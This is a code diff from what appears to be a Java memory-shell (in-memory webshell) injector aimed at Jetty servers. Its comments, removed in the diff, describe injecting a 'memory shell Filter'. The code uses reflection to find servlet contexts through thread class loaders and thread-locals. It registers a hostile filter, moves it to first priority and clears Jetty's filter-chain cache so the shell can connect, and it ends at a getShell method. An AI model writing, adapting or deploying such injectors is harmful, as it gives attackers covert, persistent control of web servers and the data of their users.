@@ -46,12 +46,9 @@ public String getBase64String() throws IOException {
4646
4747 public void inject (Object context , Object filter ) throws Exception {
4848 Object servletHandler = getFieldValue (context , "_servletHandler" );
49-
5049 if (servletHandler == null ) {
5150 return ;
5251 }
53-
54- // 1. 判断是否已经注入
5552 if (isInjected (servletHandler )) {
5653 System .out .println ("filter is already injected" );
5754 return ;
@@ -66,19 +63,13 @@ public void inject(Object context, Object filter) throws Exception {
6663 Constructor <?> constructor = filterHolderClass .getConstructor (Class .class );
6764 Object filterHolder = constructor .newInstance (filter .getClass ());
6865 invokeMethod (filterHolder , "setName" , new Class []{String .class }, new Object []{getClassName ()});
69-
70- // 2. 注入内存马Filter
7166 invokeMethod (servletHandler , "addFilterWithMapping" , new Class []{filterHolderClass , String .class , int .class }, new Object []{filterHolder , getUrlPattern (), 1 });
72-
73- // 3. 修改Filter的优先级为第一位
7467 moveFilterToFirst (servletHandler );
75-
76- // 4. 解决 jetty filterChainsCache 导致 filter 内存马连接失败的问题
7768 invokeMethod (servletHandler , "invalidateChainsCache" );
7869 System .out .println ("filter added successfully" );
7970 }
8071
81- void moveFilterToFirst (Object servletHandler ) throws Exception {
72+ private void moveFilterToFirst (Object servletHandler ) throws Exception {
8273 Object filterMaps = getFieldValue (servletHandler , "_filterMappings" );
8374 ArrayList <Object > reorderedFilters = new ArrayList <Object >();
8475 int filterLength ;
@@ -115,71 +106,39 @@ void moveFilterToFirst(Object servletHandler) throws Exception {
115106 }
116107 }
117108
118- List <Object > getContext () {
109+ private List <Object > getContext () {
119110 List <Object > contexts = new ArrayList <Object >();
120111 Thread [] threads = Thread .getAllStackTraces ().keySet ().toArray (new Thread [0 ]);
121112 for (Thread thread : threads ) {
122113 try {
123- Object contextClassLoader = getContextClassLoader (thread );
124- if (isWebAppClassLoader (contextClassLoader )) {
125- contexts .add (getContextFromWebAppClassLoader (contextClassLoader ));
126- } else if (isHttpConnection (thread )) {
127- contexts .add (getContextFromHttpConnection (thread ));
114+ Object contextClassLoader = invokeMethod (thread , "getContextClassLoader" );
115+ if (contextClassLoader .getClass ().getName ().contains ("WebAppClassLoader" )) {
116+ Object context = getFieldValue (contextClassLoader , "_context" );
117+ Object handler = getFieldValue (context , "_servletHandler" );
118+ contexts .add (getFieldValue (handler , "_contextHandler" ));
119+ } else {
120+ Object threadLocals = getFieldValue (thread , "threadLocals" );
121+ Object table = getFieldValue (threadLocals , "table" );
122+ for (int i = 0 ; i < Array .getLength (table ); ++i ) {
123+ Object entry = Array .get (table , i );
124+ if (entry != null ) {
125+ Object httpConnection = getFieldValue (entry , "value" );
126+ if (httpConnection != null && httpConnection .getClass ().getName ().contains ("HttpConnection" )) {
127+ Object httpChannel = invokeMethod (httpConnection , "getHttpChannel" );
128+ Object request = invokeMethod (httpChannel , "getRequest" );
129+ Object session = invokeMethod (request , "getSession" );
130+ Object servletContext = invokeMethod (session , "getServletContext" );
131+ contexts .add (getFieldValue (servletContext , "this$0" ));
132+ }
133+ }
134+ }
128135 }
129136 } catch (Exception ignored ) {
130137 }
131138 }
132139 return contexts ;
133140 }
134141
135- private Object getContextClassLoader (Thread thread ) throws Exception {
136- return invokeMethod (thread , "getContextClassLoader" );
137- }
138-
139- private boolean isWebAppClassLoader (Object classLoader ) {
140- return classLoader .getClass ().getName ().contains ("WebAppClassLoader" );
141- }
142-
143- private Object getContextFromWebAppClassLoader (Object classLoader ) throws Exception {
144- Object context = getFieldValue (classLoader , "_context" );
145- Object handler = getFieldValue (context , "_servletHandler" );
146- return getFieldValue (handler , "_contextHandler" );
147- }
148-
149- private boolean isHttpConnection (Thread thread ) throws Exception {
150- Object threadLocals = getFieldValue (thread , "threadLocals" );
151- Object table = getFieldValue (threadLocals , "table" );
152- for (int i = 0 ; i < Array .getLength (table ); ++i ) {
153- Object entry = Array .get (table , i );
154- if (entry != null ) {
155- Object httpConnection = getFieldValue (entry , "value" );
156- if (httpConnection != null && httpConnection .getClass ().getName ().contains ("HttpConnection" )) {
157- return true ;
158- }
159- }
160- }
161- return false ;
162- }
163-
164- private Object getContextFromHttpConnection (Thread thread ) throws Exception {
165- Object threadLocals = getFieldValue (thread , "threadLocals" );
166- Object table = getFieldValue (threadLocals , "table" );
167- for (int i = 0 ; i < Array .getLength (table ); ++i ) {
168- Object entry = Array .get (table , i );
169- if (entry != null ) {
170- Object httpConnection = getFieldValue (entry , "value" );
171- if (httpConnection != null && httpConnection .getClass ().getName ().contains ("HttpConnection" )) {
172- Object httpChannel = invokeMethod (httpConnection , "getHttpChannel" );
173- Object request = invokeMethod (httpChannel , "getRequest" );
174- Object session = invokeMethod (request , "getSession" );
175- Object servletContext = invokeMethod (session , "getServletContext" );
176- return getFieldValue (servletContext , "this$0" );
177- }
178- }
179- }
180- throw new Exception ("HttpConnection not found" );
181- }
182-
183142 @ SuppressWarnings ("all" )
184143 private Object getShell (Object context ) throws Exception {
185144 ClassLoader classLoader = Thread .currentThread ().getContextClassLoader ();
0 commit comments